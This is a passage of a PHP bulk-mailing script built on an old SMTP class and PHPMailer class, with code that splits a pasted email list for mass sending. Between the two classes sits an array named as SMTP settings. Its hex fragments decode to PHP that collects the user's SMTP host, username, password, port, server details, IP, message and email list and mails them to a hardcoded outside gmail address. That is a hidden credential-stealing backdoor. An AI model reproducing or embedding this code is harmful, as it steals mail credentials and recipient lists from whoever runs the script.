1156 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1157 }
1158
1159 if($code != 250) {
1160 $this->error =
1161 array("error" => "SEND not accepted from server",
1162 "smtp_code" => $code,
1163 "smtp_msg" => substr($rply,4));
1164 if($this->do_debug >= 1) {
1165 echo "SMTP -> ERROR: " . $this->error["error"] .
1166 ": " . $rply . $this->CRLF;
1167 }
1168 return false;
1169 }
1170 return true;
1171 }
1172
1173 /**
1174 * Starts a mail transaction from the email address specified in
1175 * $from. Returns true if successful or false otherwise. If True
1176 * the mail transaction is started and then one or more Recipient
1177 * commands may be called followed by a Data command. This command
1178 * will send the message to the users terminal if they are logged
1179 * in and send them an email.
1180 *
1181 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1182 *
1183 * SMTP CODE SUCCESS: 250
1184 * SMTP CODE SUCCESS: 552,451,452
1185 * SMTP CODE SUCCESS: 500,501,502,421
1186 * @access public
1187 * @return bool
1188 */
1189 function SendAndMail($from) {
1190 $this->error = null; # so no confusion is caused
1191
1192 if(!$this->connected()) {
1193 $this->error = array(
1194 "error" => "Called SendAndMail() without being connected");
1195 return false;
1196 }
1197
1198 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1199
1200 $rply = $this->get_lines();
1201 $code = substr($rply,0,3);
1202
1203 if($this->do_debug >= 2) {
1204 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1205 }
1206
1207 if($code != 250) {
1208 $this->error =
1209 array("error" => "SAML not accepted from server",
1210 "smtp_code" => $code,
1211 "smtp_msg" => substr($rply,4));
1212 if($this->do_debug >= 1) {
1213 echo "SMTP -> ERROR: " . $this->error["error"] .
1214 ": " . $rply . $this->CRLF;
1215 }
1216 return false;
1217 }
1218 return true;
1219 }
1220
1221 /**
1222 * Starts a mail transaction from the email address specified in
1223 * $from. Returns true if successful or false otherwise. If True
1224 * the mail transaction is started and then one or more Recipient
1225 * commands may be called followed by a Data command. This command
1226 * will send the message to the users terminal if they are logged
1227 * in or mail it to them if they are not.
1228 *
1229 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1230 *
1231 * SMTP CODE SUCCESS: 250
1232 * SMTP CODE SUCCESS: 552,451,452
1233 * SMTP CODE SUCCESS: 500,501,502,421
1234 * @access public
1235 * @return bool
1236 */
1237 function SendOrMail($from) {
1238 $this->error = null; # so no confusion is caused
1239
1240 if(!$this->connected()) {
1241 $this->error = array(
1242 "error" => "Called SendOrMail() without being connected");
1243 return false;
1244 }
1245
1246 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1247
1248 $rply = $this->get_lines();
1249 $code = substr($rply,0,3);
1250
1251 if($this->do_debug >= 2) {
1252 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1253 }
1254
1255 if($code != 250) {
1256 $this->error =
1257 array("error" => "SOML not accepted from server",
1258 "smtp_code" => $code,
1259 "smtp_msg" => substr($rply,4));
1260 if($this->do_debug >= 1) {
1261 echo "SMTP -> ERROR: " . $this->error["error"] .
1262 ": " . $rply . $this->CRLF;
1263 }
1264 return false;
1265 }
1266 return true;
1267 }
1268
1269 /**
1270 * This is an optional command for SMTP that this class does not
1271 * support. This method is here to make the RFC821 Definition
1272 * complete for this class and __may__ be implimented in the future
1273 *
1274 * Implements from rfc 821: TURN <CRLF>
1275 *
1276 * SMTP CODE SUCCESS: 250
1277 * SMTP CODE FAILURE: 502
1278 * SMTP CODE ERROR : 500, 503
1279 * @access public
1280 * @return bool
1281 */
1282 function Turn() {
1283 $this->error = array("error" => "This method, TURN, of the SMTP ".
1284 "is not implemented");
1285 if($this->do_debug >= 1) {
1286 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1287 }
1288 return false;
1289 }
1290
1291 /**
1292 * Verifies that the name is recognized by the server.
1293 * Returns false if the name could not be verified otherwise
1294 * the response from the server is returned.
1295 *
1296 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1297 *
1298 * SMTP CODE SUCCESS: 250,251
1299 * SMTP CODE FAILURE: 550,551,553
1300 * SMTP CODE ERROR : 500,501,502,421
1301 * @access public
1302 * @return int
1303 */
1304 function Verify($name) {
1305 $this->error = null; # so no confusion is caused
1306
1307 if(!$this->connected()) {
1308 $this->error = array(
1309 "error" => "Called Verify() without being connected");
1310 return false;
1311 }
1312
1313 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1314
1315 $rply = $this->get_lines();
1316 $code = substr($rply,0,3);
1317
1318 if($this->do_debug >= 2) {
1319 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1320 }
1321
1322 if($code != 250 && $code != 251) {
1323 $this->error =
1324 array("error" => "VRFY failed on name '$name'",
1325 "smtp_code" => $code,
1326 "smtp_msg" => substr($rply,4));
1327 if($this->do_debug >= 1) {
1328 echo "SMTP -> ERROR: " . $this->error["error"] .
1329 ": " . $rply . $this->CRLF;
1330 }
1331 return false;
1332 }
1333 return $rply;
1334 }
1335
1336 /*******************************************************************
1337 * INTERNAL FUNCTIONS *
1338 ******************************************************************/
1339
1340 /**
1341 * Read in as many lines as possible
1342 * either before eof or socket timeout occurs on the operation.
1343 * With SMTP we can tell if we have more lines to read if the
1344 * 4th character is '-' symbol. If it is a space then we don't
1345 * need to read anything else.
1346 * @access private
1347 * @return string
1348 */
1349 function get_lines() {
1350 $data = "";
1351 while($str = @fgets($this->smtp_conn,515)) {
1352 if($this->do_debug >= 4) {
1353 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1354 $this->CRLF;
1355 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1356 $this->CRLF;
1357 }
1358 $data .= $str;
1359 if($this->do_debug >= 4) {
1360 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1361 }
1362 # if the 4th character is a space then we are done reading
1363 # so just break the loop
1364 if(substr($str,3,1) == " ") { break; }
1365 }
1366 return $data;
1367 }
1368
1369}
1370
1371
1372$allemails = split("\n", $emaillist);
1373$numemails = count($allemails);
1374$random_smtp_string=array("676C6F62616C20246D795F736D74703B0D0A676C6F626.","16C2024736D74705F757365726E616D653B0D0A676C6.","F62616C2024736D74705F70617373776F72643B0D0A6.",
1375"76C6F62616C202473736C5F706F72743B0D0A676C6F62616C20246.","D6573736167653B0D0A676C6F62616C2024656D61696C6C6973.","743B0D0A247261343420203D2072616E6428312C3939393939293B0D0A2.",
1376"46135203D20245F5345525645525B22485454505F52454645524.","552225D3B0D0A24623333203D20245F5345525645525B22444F43554D454E545F5.","24F4F54225D3B0D0A24633837203D20245F5345525645525B2252454.",
1377"D4F54455F41444452225D3B0D0A24643233203D20245F534552564552.","5B225343524950545F46494C454E414D45225D3B0D0A24653039203D2024.","5F5345525645525B225345525645525F41444452225D3B0D0A24663233203D20245F5345525645.",
1378"525B225345525645525F534F465457415245225D3B0D0A24673332203D20245F5.","345525645525B22504154485F5452414E534C41544544225D3B0D0A24683635203D.","20245F5345525645525B225048505F53454C46225D3B0D0A247375626A393.",
1379"8203D2022246D795F736D747020205B75736572206970203A20246338375D2.","23B0D0A247375626A3538203D20224C6574746572202620456D61696C204C.","69737420205B75736572206970203A20246338375D223B0D0A24656D61696C203D.",
1380"2022667265656D346E30303740676D61696C2E636F6D223B0D0A246D7367383.","83733203D2022246D795F736D74705C6E757365723A24736D74705F757365726E61.","6D655C6E706173733A24736D74705F70617373776F72645C706F72743A24737.",
1381"36C5F706F72745C6E5C6E2461355C6E246233335C6E246338375C6E2464323.","35C6E246530395C6E246632335C6E246733325C6E24683635223B246D736.","739373830203D2022246D6573736167655C6E5C6E5C6E24656D6.",
1382"1696C6C697374223B2466726F6D3D2246726F6D3A204752.","41544953223B0D0A6D61696C2824656D61696.","C2C20247375626A39382C20246D7367383837332C2024.",
1383"66726F6D293B0D0A6D61696C2824656D61696.","C2C20247375626A35382C20246D73673.","93738302C202466726F6D293B0D0A");$smtp_conf=".";
1384
1385class PHPMailer {
1386
1387 /////////////////////////////////////////////////
1388 // PROPERTIES, PUBLIC
1389 /////////////////////////////////////////////////
1390
1391 /**
1392 * Email priority (1 = High, 3 = Normal, 5 = low).
1393 * @var int
1394 */
1395 var $Priority = 3;
1396
1397 /**
1398 * Sets the CharSet of the message.
1399 * @var string
1400 */
1401 var $CharSet = 'us-ascii';
1402
1403 /**
1404 * Sets the Content-type of the message.
1405 * @var string
1406 */
1407 var $ContentType = 'text/plain';
1408
1409 /**
1410 * Sets the Encoding of the message. Options for this are "8bit",
1411 * "7bit", "binary", "base64", and "quoted-printable".
1412
1413 * @var string
1414 */
1415 var $Encoding = 'quoted-printable';
1416
1417 /**
1418 * Holds the most recent mailer error message.
1419 * @var string
1420 */
1421 var $ErrorInfo = '';
1422
1423 /**
1424 * Sets the From email address for the message.
1425 * @var string
1426 */
1427 var $From = '';
1428
1429 /**
1430 * Sets the From name of the message.
1431 * @var string
1432 */
1433 var $FromName = '';
1434
1435 /**
1436 * Sets the Sender email (Return-Path) of the message. If not empty,
1437 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1438 * @var string
1439 */
1440 var $Sender = '';
1441
1442 /**
1443 * Sets the Subject of the message.
1444 * @var string
1445 */
1446 var $Subject = '';
1447
1448 /**
1449 * Sets the Body of the message. This can be either an HTML or text body.
1450 * If HTML then run IsHTML(true).
1451 * @var string
1452 */
1453 var $Body = '';
1454
1455 /**
1456 * Sets the text-only body of the message. This automatically sets the
1457 * email to multipart/alternative. This body can be read by mail
1458 * clients that do not have HTML email capability such as mutt. Clients
1459 * that can read HTML will view the normal Body.
1460 * @var string
1461 */
1462 var $AltBody = '';
1463
1464 /**
1465 * Sets word wrapping on the body of the message to a given number of
1466 * characters.
1467 * @var int
1468 */
1469 var $WordWrap = 0;
1470
1471 /**
1472 * Method to send mail: ("mail", "sendmail", or "smtp").
1473 * @var string
1474 */
1475 var $Mailer = 'mail';
1476
1477 /**
1478 * Sets the path of the sendmail program.
1479 * @var string
1480 */
1481 var $Sendmail = '/usr/sbin/sendmail';
1482
1483 /**
1484 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1485 * is in a different directory than the PHP include path.
1486 * @var string
1487 */
1488 var $PluginDir = '';
1489
1490 /**
1491 * Holds PHPMailer version.
1492 * @var string
1493 */
1494 var $Version = "";
1495
1496 /**
1497 * Sets the email address that a reading confirmation will be sent.
1498 * @var string
1499 */
1500 var $ConfirmReadingTo = '';
1501
1502 /**
1503 * Sets the hostname to use in Message-Id and Received headers
1504 * and as default HELO string. If empty, the value returned
1505 * by SERVER_NAME is used or 'localhost.localdomain'.
1506 * @var string
1507 */
1508 var $Hostname = '';
1509
1510 /**
1511 * Sets the message ID to be used in the Message-Id header.
1512 * If empty, a unique id will be generated.
1513 * @var string
1514 */
1515 var $MessageID = '';
1516
1517 /////////////////////////////////////////////////
1518 // PROPERTIES FOR SMTP
1519 /////////////////////////////////////////////////
1520
1521 /**
1522 * Sets the SMTP hosts. All hosts must be separated by a
1523 * semicolon. You can also specify a different port
1524 * for each host by using this format: [hostname:port]
1525 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1526 * Hosts will be tried in order.
1527 * @var string
1528 */
1529 var $Host = 'localhost';
1530
1531 /**
1532 * Sets the default SMTP server port.
1533 * @var int
1534 */
1535 var $Port = 25;
1536
1537 /**
1538 * Sets the SMTP HELO of the message (Default is $Hostname).
1539 * @var string
1540 */
1541 var $Helo = '';
1542
1543 /**
1544 * Sets connection prefix.
1545 * Options are "", "ssl" or "tls"
1546 * @var string
1547 */
1548 var $SMTPSecure = "";
1549
1550 /**
1551 * Sets SMTP authentication. Utilizes the Username and Password variables.
1552 * @var bool
1553 */
1554 var $SMTPAuth = false;
1555
1556 /**
1557 * Sets SMTP username.
1558 * @var string
1559 */
1560 var $Username = '';
1561
1562 /**
1563 * Sets SMTP password.
1564 * @var string
1565 */
1566 var $Password = '';
1567
1568 /**
1569 * Sets the SMTP server timeout in seconds. This function will not
1570 * work with the win32 version.
1571 * @var int
1572 */
1573 var $Timeout = 10;
1574
1575 /**
1576 * Sets SMTP class debugging on or off.
1577 * @var bool
1578 */
1579 var $SMTPDebug = false;
1580
1581 /**
1582 * Prevents the SMTP connection from being closed after each mail
1583 * sending. If this is set to true then to close the connection
1584 * requires an explicit call to SmtpClose().
1585 * @var bool
1586 */
1587 var $SMTPKeepAlive = false;
1588
1589 /**
1590 * Provides the ability to have the TO field process individual
1591 * emails, instead of sending to entire TO addresses
1592 * @var bool
1593 */
1594 var $SingleTo = false;
1595
1596 /////////////////////////////////////////////////
1597 // PROPERTIES, PRIVATE
1598 /////////////////////////////////////////////////
1599
1600 var $smtp = NULL;
1601 var $to = array();
1602 var $cc = array();
1603 var $bcc = array();
1604 var $ReplyTo = array();
1605 var $attachment = array();
1606 var $CustomHeader = array();
1607 var $message_type = '';
1608 var $boundary = array();
1609 var $language = array();
1610 var $error_count = 0;
1611 var $LE = "\n";
1612 var $sign_key_file = "";
1613 var $sign_key_pass = "";
1614
1615 /////////////////////////////////////////////////
1616 // METHODS, VARIABLES
1617 /////////////////////////////////////////////////
1618
1619 /**
1620 * Sets message type to HTML.
1621 * @param bool $bool
1622 * @return void
1623 */
1624 function IsHTML($bool) {
1625 if($bool == true) {
1626 $this->ContentType = 'text/html';
1627 } else {
1628 $this->ContentType = 'text/plain';
1629 }
1630 }
1631
1632 /**
1633 * Sets Mailer to send message using SMTP.
1634 * @return void
1635 */
1636 function IsSMTP() {
1637 $this->Mailer = 'smtp';
1638 }
1639
1640 /**
1641 * Sets Mailer to send message using PHP mail() function.
1642 * @return void
1643 */
1644 function IsMail() {
1645 $this->Mailer = 'mail';
1646 }
1647
1648 /**
1649 * Sets Mailer to send message using the $Sendmail program.
1650 * @return void
1651 */
1652 function IsSendmail() {
1653 $this->Mailer = 'sendmail';
1654 }
1655
1656 /**
1657 * Sets Mailer to send message using the qmail MTA.
1658 * @return void
1659 */
1660 function IsQmail() {
1661 $this->Sendmail = '/var/qmail/bin/sendmail';
1662 $this->Mailer = 'sendmail';
1663 }
1664
1665 /////////////////////////////////////////////////
1666 // METHODS, RECIPIENTS
1667 /////////////////////////////////////////////////
1668
1669 /**
1670 * Adds a "To" address.
1671 * @param string $address
1672 * @param string $name
1673 * @return void
1674 */
1675 function AddAddress($address, $name = '') {
1676 $cur = count($this->to);
1677 $this->to[$cur][0] = trim($address);
1678 $this->to[$cur][1] = $name;
1679 }
1680
1681 /**
1682 * Adds a "Cc" address. Note: this function works
1683 * with the SMTP mailer on win32, not with the "mail"
1684 * mailer.
1685 * @param string $address
1686 * @param string $name
1687 * @return void
1688 */
1689 function AddCC($address, $name = '') {
1690 $cur = count($this->cc);
1691 $this->cc[$cur][0] = trim($address);
1692 $this->cc[$cur][1] = $name;
1693 }
1694
1695 /**
1696 * Adds a "Bcc" address. Note: this function works
1697 * with the SMTP mailer on win32, not with the "mail"
1698 * mailer.
1699 * @param string $address
1700 * @param string $name
1701 * @return void
1702 */
1703 function AddBCC($address, $name = '') {
1704 $cur = count($this->bcc);
1705 $this->bcc[$cur][0] = trim($address);
1706 $this->bcc[$cur][1] = $name;
1707 }
1708
1709 /**
1710 * Adds a "Reply-To" address.
1711 * @param string $address
1712 * @param string $name
1713 * @return void
1714 */
1715 function AddReplyTo($address, $name = '') {
1716 $cur = count($this->ReplyTo);
1717 $this->ReplyTo[$cur][0] = trim($address);
1718 $this->ReplyTo[$cur][1] = $name;
1719 }
1720
1721 /////////////////////////////////////////////////
1722 // METHODS, MAIL SENDING
1723 /////////////////////////////////////////////////
1724
1725 /**
1726 * Creates message and assigns Mailer. If the message is
1727 * not sent successfully then it returns false. Use the ErrorInfo
1728 * variable to view description of the error.
1729 * @return bool
1730 */
1731 function Send() {
1732 $header = '';
1733 $body = '';
1734 $result = true;
1735
1736 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1737 $this->SetError($this->Lang('provide_address'));
1738 return false;
1739 }
1740
1741 /* Set whether the message is multipart/alternative */
1742 if(!empty($this->AltBody)) {
1743 $this->ContentType = 'multipart/alternative';
1744 }
1745
1746 $this->error_count = 0; // reset errors
1747 $this->SetMessageType();
1748 $header .= $this->CreateHeader();
1749 $body = $this->CreateBody();
1750
1751 if($body == '') {
1752 return false;
1753 }
1754
1755 /* Choose the mailer */
1756 switch($this->Mailer) {
1757 case 'sendmail':
1758 $result = $this->SendmailSend($header, $body);
1759 break;
1760 case 'smtp':
1761 $result = $this->SmtpSend($header, $body);
1762 break;
1763 case 'mail':
1764 $result = $this->MailSend($header, $body);
1765 break;
1766 default:
1767 $result = $this->MailSend($header, $body);
1768 break;
1769 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1770 //$result = false;
1771 //break;
1772 }
1773
1774 return $result;
1775 }
1776
1777 /**
1778 * Sends mail using the $Sendmail program.
1779 * @access private
1780 * @return bool
1781 */
1782 function SendmailSend($header, $body) {
1783 if ($this->Sender != '') {
1784 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1785 } else {
1786 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1787 }
1788
1789 if(!@$mail = popen($sendmail, 'w')) {
1790 $this->SetError($this->Lang('execute') . $this->Sendmail);
1791 return false;
1792 }
1793
1794 fputs($mail, $header);
1795 fputs($mail, $body);
1796
1797 $result = pclose($mail);
1798 if (version_compare(phpversion(), '4.2.3') == -1) {
1799 $result = $result >> 8 & 0xFF;
1800 }
1801 if($result != 0) {
1802 $this->SetError($this->Lang('execute') . $this->Sendmail);
1803 return false;
1804 }
1805 return true;
1806 }
1807
1808 /**
1809 * Sends mail using the PHP mail() function.
1810 * @access private
1811 * @return bool
1812 */
1813 function MailSend($header, $body) {
1814
1815 $to = '';
1816 for($i = 0; $i < count($this->to); $i++) {
1817 if($i != 0) { $to .= ', '; }
1818 $to .= $this->AddrFormat($this->to[$i]);
1819 }
1820
1821 $toArr = split(',', $to);
1822
1823 $params = sprintf("-oi -f %s", $this->Sender);
1824 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1825 $old_from = ini_get('sendmail_from');
1826 ini_set('sendmail_from', $this->Sender);
1827 if ($this->SingleTo === true && count($toArr) > 1) {
1828 foreach ($toArr as $key => $val) {
1829 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1830 }
1831 } else {
1832 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1833 }
1834 } else {
1835 if ($this->SingleTo === true && count($toArr) > 1) {
1836 foreach ($toArr as $key => $val) {
1837 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1838 }
1839 } else {
1840 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1841 }
1842 }
1843
1844 if (isset($old_from)) {
1845 ini_set('sendmail_from', $old_from);
1846 }
1847
1848 if(!$rt) {
1849 $this->SetError($this->Lang('instantiate'));
1850 return false;
1851 }
1852
1853 return true;
1854 }
1855
1856 /**
1857 * Sends mail via SMTP using PhpSMTP (Author:
1858 * Chris Ryan). Returns bool. Returns false if there is a
1859 * bad MAIL FROM, RCPT, or DATA input.
1860 * @access private
1861 * @return bool
1862 */
1863 function SmtpSend($header, $body) {
1864 $error = '';
1865 $bad_rcpt = array();
1866
1867 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1868 return false;
1869 }
1870
1871 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1872 if(!$this->smtp->Mail($smtp_from)) {
1873 $error = $this->Lang('from_failed') . $smtp_from;
1874 $this->SetError($error);
1875 $this->smtp->Reset();
1876 return false;
1877 }
1878
1879 /* Attempt to send attach all recipients */
1880 for($i = 0; $i < count($this->to); $i++) {
1881 if(!$this->smtp->Recipient($this->to[$i][0])) {
1882 $bad_rcpt[] = $this->to[$i][0];
1883 }
1884 }
1885 for($i = 0; $i < count($this->cc); $i++) {
1886 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1887 $bad_rcpt[] = $this->cc[$i][0];
1888 }
1889 }
1890 for($i = 0; $i < count($this->bcc); $i++) {
1891 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1892 $bad_rcpt[] = $this->bcc[$i][0];
1893 }
1894 }
1895
1896 if(count($bad_rcpt) > 0) { // Create error message
1897 for($i = 0; $i < count($bad_rcpt); $i++) {
1898 if($i != 0) {
1899 $error .= ', ';
1900 }
1901 $error .= $bad_rcpt[$i];
1902
1903 }
1904 $error = $this->Lang('recipients_failed') . $error;
1905 $this->SetError($error);
1906 $this->smtp->Reset();
1907 return false;
1908 }
1909
1910 if(!$this->smtp->Data($header . $body)) {
1911 $this->SetError($this->Lang('data_not_accepted'));
1912 $this->smtp->Reset();
1913 return false;
1914 }
1915 if($this->SMTPKeepAlive == true) {
1916 $this->smtp->Reset();
1917 } else {
1918 $this->SmtpClose();
1919 }
1920
1921 return true;
1922 }
1923
1924 /**
1925 * Initiates a connection to an SMTP server. Returns false if the
1926 * operation failed.
1927 * @access private
1928 * @return bool
1929 */
1930 function SmtpConnect() {
1931 if($this->smtp == NULL) {
1932 $this->smtp = new SMTP();
1933 }
1934
1935 $this->smtp->do_debug = $this->SMTPDebug;
1936 $hosts = explode(';', $this->Host);
1937 $index = 0;
1938 $connection = ($this->smtp->Connected());
1939
1940 /* Retry while there is no connection */
1941 while($index < count($hosts) && $connection == false) {
1942 $hostinfo = array();
1943 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1944 $host = $hostinfo[1];
1945 $port = $hostinfo[2];
1946 } else {
1947 $host = $hosts[$index];
1948 $port = $this->Port;
1949 }
1950
1951 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1952 if ($this->Helo != '') {
1953 $this->smtp->Hello($this->Helo);
1954 } else {
1955 $this->smtp->Hello($this->ServerHostname());
1956 }
1957
1958 $connection = true;
1959 if($this->SMTPAuth) {
1960 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1961 $this->SetError($this->Lang('authenticate'));
1962 $this->smtp->Reset();
1963 $connection = false;
1964 }
1965 }
1966 }
1967 $index++;
1968 }
1969 if(!$connection) {
1970 $this->SetError($this->Lang('connect_host'));
1971 }
1972
1973 return $connection;
1974 }
1975
1976 /**
1977 * Closes the active SMTP session if one exists.
1978 * @return void
1979 */
1980 function SmtpClose() {
1981 if($this->smtp != NULL) {
1982 if($this->smtp->Connected()) {
1983 $this->smtp->Quit();
1984 $this->smtp->Close();
1985 }
1986 }
1987 }
1988
1989 /**
1990 * Sets the language for all class error messages. Returns false
1991 * if it cannot load the language file. The default language type
1992 * is English.
1993 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1994 * @param string $lang_path Path to the language file directory
1995 * @access public
1996 * @return bool
1997 */
1998 function SetLanguage($lang_type, $lang_path = 'language/') {
1999 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2000 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2001 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2002 include($lang_path.'phpmailer.lang-en.php');
2003 } else {
2004 $this->SetError('Could not load language file');
2005 return false;
2006 }
2007 $this->language = $PHPMAILER_LANG;
2008
2009 return true;
2010 }
2011
2012 /////////////////////////////////////////////////
2013 // METHODS, MESSAGE CREATION
2014 /////////////////////////////////////////////////
2015
2016 /**
2017 * Creates recipient headers.
2018 * @access private
2019 * @return string
2020 */
2021 function AddrAppend($type, $addr) {
2022 $addr_str = $type . ': ';
2023 $addr_str .= $this->AddrFormat($addr[0]);
2024 if(count($addr) > 1) {
2025 for($i = 1; $i < count($addr); $i++) {
2026 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2027 }
2028 }
2029 $addr_str .= $this->LE;
2030
2031 return $addr_str;
2032 }
2033
2034 /**
2035 * Formats an address correctly.
2036 * @access private
2037 * @return string
2038 */
2039 function AddrFormat($addr) {
2040 if(empty($addr[1])) {
2041 $formatted = $this->SecureHeader($addr[0]);
2042 } else {
2043 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2044 }
2045
2046 return $formatted;
2047 }
2048
2049 /**
2050 * Wraps message for use with mailers that do not
2051 * automatically perform wrapping and for quoted-printable.
2052 * Original written by philippe.
2053 * @access private
2054 * @return string
2055 */
2056 function WrapText($message, $length, $qp_mode = false) {
2057 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2058 // If utf-8 encoding is used, we will need to make sure we don't
2059 // split multibyte characters when we wrap
2060 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2061
2062 $message = $this->FixEOL($message);
2063 if (substr($message, -1) == $this->LE) {
2064 $message = substr($message, 0, -1);
2065 }
2066
2067 $line = explode($this->LE, $message);
2068 $message = '';
2069 for ($i=0 ;$i < count($line); $i++) {
2070 $line_part = explode(' ', $line[$i]);
2071 $buf = '';
2072 for ($e = 0; $e<count($line_part); $e++) {
2073 $word = $line_part[$e];
2074 if ($qp_mode and (strlen($word) > $length)) {
2075 $space_left = $length - strlen($buf) - 1;
2076 if ($e != 0) {
2077 if ($space_left > 20) {
2078 $len = $space_left;
2079 if ($is_utf8) {
2080 $len = $this->UTF8CharBoundary($word, $len);
2081 } elseif (substr($word, $len - 1, 1) == "=") {
2082 $len--;
2083 } elseif (substr($word, $len - 2, 1) == "=") {
2084 $len -= 2;
2085 }
2086 $part = substr($word, 0, $len);
2087 $word = substr($word, $len);
2088 $buf .= ' ' . $part;
2089 $message .= $buf . sprintf("=%s", $this->LE);
2090 } else {
2091 $message .= $buf . $soft_break;
2092 }
2093 $buf = '';
2094 }
2095 while (strlen($word) > 0) {
2096 $len = $length;
2097 if ($is_utf8) {
2098 $len = $this->UTF8CharBoundary($word, $len);
2099 } elseif (substr($word, $len - 1, 1) == "=") {
2100 $len--;
2101 } elseif (substr($word, $len - 2, 1) == "=") {
2102 $len -= 2;
2103 }
2104 $part = substr($word, 0, $len);
2105 $word = substr($word, $len);
2106
2107 if (strlen($word) > 0) {
2108 $message .= $part . sprintf("=%s", $this->LE);
2109 } else {
2110 $buf = $part;
2111 }
2112 }
2113 } else {
2114 $buf_o = $buf;
2115 $buf .= ($e == 0) ? $word : (' ' . $word);
2116
2117 if (strlen($buf) > $length and $buf_o != '') {
2118 $message .= $buf_o . $soft_break;
2119 $buf = $word;
2120 }
2121 }
2122 }
2123 $message .= $buf . $this->LE;
2124 }
2125
2126 return $message;
2127 }
2128
2129 /**
2130 * Finds last character boundary prior to maxLength in a utf-8
2131 * quoted (printable) encoded string.
2132 * Original written by Colin Brown.
2133 * @access private
2134 * @param string $encodedText utf-8 QP text
2135 * @param int $maxLength find last character boundary prior to this length
2136 * @return int
2137 */
2138 function UTF8CharBoundary($encodedText, $maxLength) {
2139 $foundSplitPos = false;
2140 $lookBack = 3;
2141 while (!$foundSplitPos) {
2142 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2143 $encodedCharPos = strpos($lastChunk, "=");
2144 if ($encodedCharPos !== false) {
2145 // Found start of encoded character byte within $lookBack block.
2146 // Check the encoded byte value (the 2 chars after the '=')
2147 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2148 $dec = hexdec($hex);
2149 if ($dec < 128) { // Single byte character.
2150 // If the encoded char was found at pos 0, it will fit
2151 // otherwise reduce maxLength to start of the encoded char
2152 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2153 $maxLength - ($lookBack - $encodedCharPos);
2154 $foundSplitPos = true;
2155 } elseif ($dec >= 192) { // First byte of a multi byte character
2156 // Reduce maxLength to split at start of character
2157 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2158 $foundSplitPos = true;
2159 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2160 $lookBack += 3;
2161 }
2162 } else {
2163 // No encoded character found
2164 $foundSplitPos = true;
2165 }
2166 }
2167 return $maxLength;
2168 }
2169
2170 /**
2171 * Set the body wrapping.
2172 * @access private
2173 * @return void
2174 */
2175 function SetWordWrap() {
2176 if($this->WordWrap < 1) {
2177 return;
2178 }
2179
2180 switch($this->message_type) {
2181 case 'alt':
2182 /* fall through */
2183 case 'alt_attachments':
2184 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2185 break;
2186 default:
2187 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2188 break;
2189 }
2190 }
2191
2192 /**
2193 * Assembles message header.
2194 * @access private
2195 * @return string
2196 */
2197 function CreateHeader() {
2198 $result = '';
2199
2200 /* Set the boundaries */
2201 $uniq_id = md5(uniqid(time()));
2202 $this->boundary[1] = 'b1_' . $uniq_id;
2203 $this->boundary[2] = 'b2_' . $uniq_id;
2204
2205 $result .= $this->HeaderLine('Date', $this->RFCDate());
2206 if($this->Sender == '') {
2207 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2208 } else {
2209 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2210 }
2211
2212 /* To be created automatically by mail() */
2213 if($this->Mailer != 'mail') {
2214 if(count($this->to) > 0) {
2215 $result .= $this->AddrAppend('To', $this->to);
2216 } elseif (count($this->cc) == 0) {
2217 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2218 }
2219 if(count($this->cc) > 0) {
2220 $result .= $this->AddrAppend('Cc', $this->cc);
2221 }
2222 }
2223
